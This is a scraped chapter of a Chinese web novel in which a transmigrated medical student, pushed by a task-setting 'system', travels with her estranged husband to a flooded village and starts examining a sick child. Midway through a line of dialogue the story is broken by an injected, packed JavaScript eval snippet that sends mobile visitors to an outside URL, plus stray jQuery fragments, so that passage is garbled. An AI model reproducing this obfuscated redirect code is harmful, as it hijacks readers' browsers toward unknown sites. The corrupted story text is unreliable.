江沛若眉心一跳,缓缓转头看向裴寂,面前的人宛然沉浸在自己的幻想世界中,表情似是在说“就算你做到如此这般,我也绝不会心悦于你”。
江沛若在心里翻了个白眼,又惧怕裴寂忽地发疯,脸上不敢表露出半分,挪着身子倚靠在车帘那旁,生怕沾染上此人孤芳自赏如花红雀般气质。
【宝宝!中午好,统统温馨提醒你,现在的任务是双人任务哦,不讨好裴寂的话,完不成任务你可是会死掉的哦!】
经谢亲礼一事,江沛若险些忘了这茬,系统说的没错,眼下最重要的便是讨好裴寂,如若裴寂不愿配合自己,那江沛大概会落个死不瞑目的下场。
江沛若叹了口气,又挪着身子到裴寂身旁,扯着袖口擦拭眼下,弱不禁风道:“夫君,我只是看不惯他们欺辱你。”
演技可真好,裴寂这般木头也肯定被拿下,江沛若心中暗喜,手指深深嵌进掌心,用力压迫自己因成功喜悦而上翘的嘴角。
“离我远些,”裴寂微微侧头,皱眉扯出被压在江沛若臀下的衣袖,毫不掩饰嫌弃,“我并未请求你援助于我,你若想从我身上获取好处,我劝你最好打消此念头。”
【叮咚!请宿主前往里沟村完成医馆初步建设,并救治伤员,人数为二十人,时间期限半月内,请宿主与裴寂携手完成,fighting!】
Fighting你个大头鬼啊,江沛若问:“你刚刚不是说让我先讨好裴寂吗?他现在还不愿正眼瞧我,我怎么完成任务,你就不能给我点时间吗?”
【沛若宝宝,我们必须赶在救世主来之前完成所有任务,不然你将无法返回现实世界!】
“什么救世主?”
【抱歉沛若宝宝,无可奉告,总之请立马前往里沟村完成任务!】
江沛若现在真是被赶鸭子上架,她无奈地笑笑,嘴角朝下一撇,喉咙里发出呜咽:“其实妾身有一表妹居住在一地,患有不治之症,此番病情愈发严重,妾本无心前往,可妾身自幼诞于医药世家,医者仁心,妾身实在于心不忍啊!”
说到劲头上,江沛若放声大哭,掏出手把边擦净泪水边观察裴寂的反应:“前不久表妹得知,妾身嫁于裴家三公子,曾听闻夫君医术高明,妾自知能力不足,表妹便望夫君可一同前往,还请夫君应允!”
微风从车帘缝隙飘进,车内两人的衣物被吹得乱转,江沛若脑后的丝带在空中盘旋良久,最后稳稳挂在裴寂高挺的鼻梁上。
江沛若连忙扯回,裴寂仍旧不看她,反倒不知从何处拿起本书,此刻正捧着看:“我曾记得江小姐有一言,说我是天底下最无用的郎中,现在又何出此言?”
此言如一道响雷砸到江沛若头上,天呐,江沛若你先前究竟做了多少十恶不赦之事,又对眼前此人用了多少言语侮辱,竟把此路堵得死死的,连条小道都不留。
江沛若此刻真想承认,她并不是那个嚣张跋扈、爱财如命的千金大小姐江沛若,她只是一个好不容易从大山考出来,疲劳过度、并且只想活命的苦命临床医学生。
但如若江江沛若将此事告知于任何一人,恐怕她将会被诊断为失心疯。
眼瞧着裴寂软法子不受用,江沛若也懒得装了,抱着手臂又坐到风帘旁,微风铺在脸庞上,发丝轻拂过脸颊,胡乱地铺在睫毛上,江沛若抬手揭开,朝马夫道::“去里沟村。”
此马夫是江沛若从小用到大的,自然听询江沛若的吩咐,就算裴寂是裴家三公子,但再怎么说也是入赘来的,这个家还是江家说了算,于是双腿像是摸了机油般飞速前进,且将裴寂含有阻止之意的话语全然当作耳旁风。
风嘛,皆是一吹便过。
原本需要三个时辰的路程,他们竟然用两个时辰便到了。
青梅搀扶着江沛若下车,双脚刚一触碰到地面,江沛若就觉着像是踩进了棉花里,低头一看,地面坑坑洼洼全是稀泥,刺鼻的青草味混杂着泥土味钻进江沛若鼻腔,她张了张嘴,喷嚏没打出来反倒是憋了一眼泪水。
再抬头望去,眼前景象让江沛若大为震撼,不远处立着几座小鼓包,细细一看才知那是由泥土堆积起来的房屋,零零散散也就十几户,村口种着些不曾瞧过的作物,但此地似乎不久前才经历了一场大暴雨,门口才冒头的果蔬苗子全部折腰躺在稀泥上。
江沛若万万没想到,离京城不算太远的里沟村竟落魄成如此模样,她跨步走到一片较为干燥的土地,车上的裴寂没过多久也跟着下马车,他朝江沛若走来,也就两步之遥,素白鞋袜上就沾染了不少泥土。
他扫过江沛若双眼的时候顿了下,随后才顺着江沛若望向那片村庄,道:“此地便为你表姐居住之地?”
江沛若先是摇头,随后又点头,支支吾吾道:“先去瞧瞧。”
几人往里沟村走,越靠近村庄,一种说不出来的感觉愈发涌上心头,江沛若后背有些发凉,身子下意识贴近身形较为高大的裴寂身侧壮胆,裴寂斜眼看向两人隔着衣物贴在一起的小臂,这次罕见地并未推开江沛若。
几人顺着小路往里走,路过几间紧闭大门的房屋,江沛若心里那股道不出的感觉逐渐落地,这个村子太奇怪了,按理说昨晚下过大雨,这个时辰总会有人出门耕作,但此时村内每家每户大门紧闭,门口堆放着一些菜篮,还有些淋湿的衣物掉在泥泞里。
又往里走了一段路,江沛若实在是害怕,她这人从小什么动物植物都不怕,唯独害怕鬼怪,记得小时候去村里小伙伴的家里看电视,那群小孩儿放了一部恐怖片,江沛若看完之后几天几夜都不敢合眼,一合眼便是那张放大的鬼脸。
此刻村内鸦雀无声,不知是不是幻觉,江沛若总觉着能听清裴寂强有力的心跳,她脚步一滞,扯住裴寂的衣袖,裴寂扭头投过来疑惑。
江沛若抿了抿被风吹干的嘴唇,随后道:“要不你去找户人家问问?”
非常好的提议,但裴寂显然不接招:“为什么是我去?”
“当然是因为夫君是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743969|209185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我们几人中最风流倜傥的人,”江沛若并不想在外人前暴露自己的弱点,但实在想不出因如何便自然其说,反正先夸总是对的,“像夫君这样的人,肯定勇猛无畏。”
裴寂依旧没表情地看着她,江沛若露出一个笑容,两个酒窝在脸颊两侧若隐若现,裴寂未言语,下一秒,裴寂抬脚走向一间屋子。
江沛若那张脸真是同她父亲如同一个模子刻出来般相像,特别是那副酒窝,每当裴寂看见,便会回想起沈家满门抄斩,江右前拿走那方子时的模样,真是令人作呕。
垂在身旁的那只手青筋暴起,裴寂咬着后槽牙咽转身,现在还不是合适的时机。
他走上前,敲了敲屋子的门,在门口等了良久都毫无反应。
江沛若从他身后探出个脑袋,提议道:“也许是家中无人,夫君要不要换间屋子。”
话音刚落,面前用稻草做的门开了一条小缝,起初两人并未从小缝中看到人影,直到青梅出声提醒:“小姐,下面。”
在裴寂腰线的那个位置,一双黑溜溜得大眼睛从门缝中探出来,几缕湿润的发丝贴在脑门上,江沛若蹲下身子,那双黑溜溜的眼睛就躲进黑黢黢的屋内。
江沛若凑近了些,温声道:“小女郎,阿姊是城里来的郎中,可否问些事?”
片刻后,那双眼睛又冒了出来,这次的门缝开得大了些,江沛若这才看清了小女郎的全貌,一身大了许多的粗布麻衣,胸口处还有几个五颜六色的补丁,脸上脏兮兮的,像一只小花猫。
那小女郎从门缝中挤出来,又转身小心翼翼关好门,随后迟疑瞧瞧江沛若,又偷偷打量起旁边站着的裴寂,思索良久后才鼓起勇气问道:“阿姊当真是郎中?”
“千真万确,”江沛若拉过小女郎的手,掏出手帕擦拭小女郎手心的污渍,又抬手将她黏在脸上的发丝抚开,道,“你若不信,阿姊可把脉说出你的症状,你试试便知阿姊是否在说谎话,可行?”
小女郎点了点头,江沛若笑着将小女孩的手腕翻了个面放在自己的膝盖上,手指刚搭上,肩膀就被人一推,江沛若怨恨地抬眼:“何事?”
罪魁祸首裴寂居高临下地看着他,道:“你行不行?”
江沛若真是想甩手给他两巴掌,她挤出一个笑容,皮笑肉不笑,咬牙切齿道:“不劳夫君废心,不会言语的话,妾身提议将夫君的嘴增给需要之人。”
“。。。。”
江沛若闭眼重新搭上手指,片刻后她睁眼,揉了揉小女郎的头,笑笑说:“把舌头伸出来阿姊瞧下。”
舌尖赤红,舌面发干,津液极少,脉象浮而偏数,起落急躁。
万幸江沛若还辅修修了中医学,这种程度的病症还是能判断出来,她问道:“小女郎,你近日是否昼间呛咳,咽喉干痒?”
“是,”小女郎忙点头,下一秒眼眶中的泪花如大雨般倾盆而下,她一手扯着江沛若的衣袖,一手指着身后的屋子,“阿姊,求你救救我爹爹,他快死了!”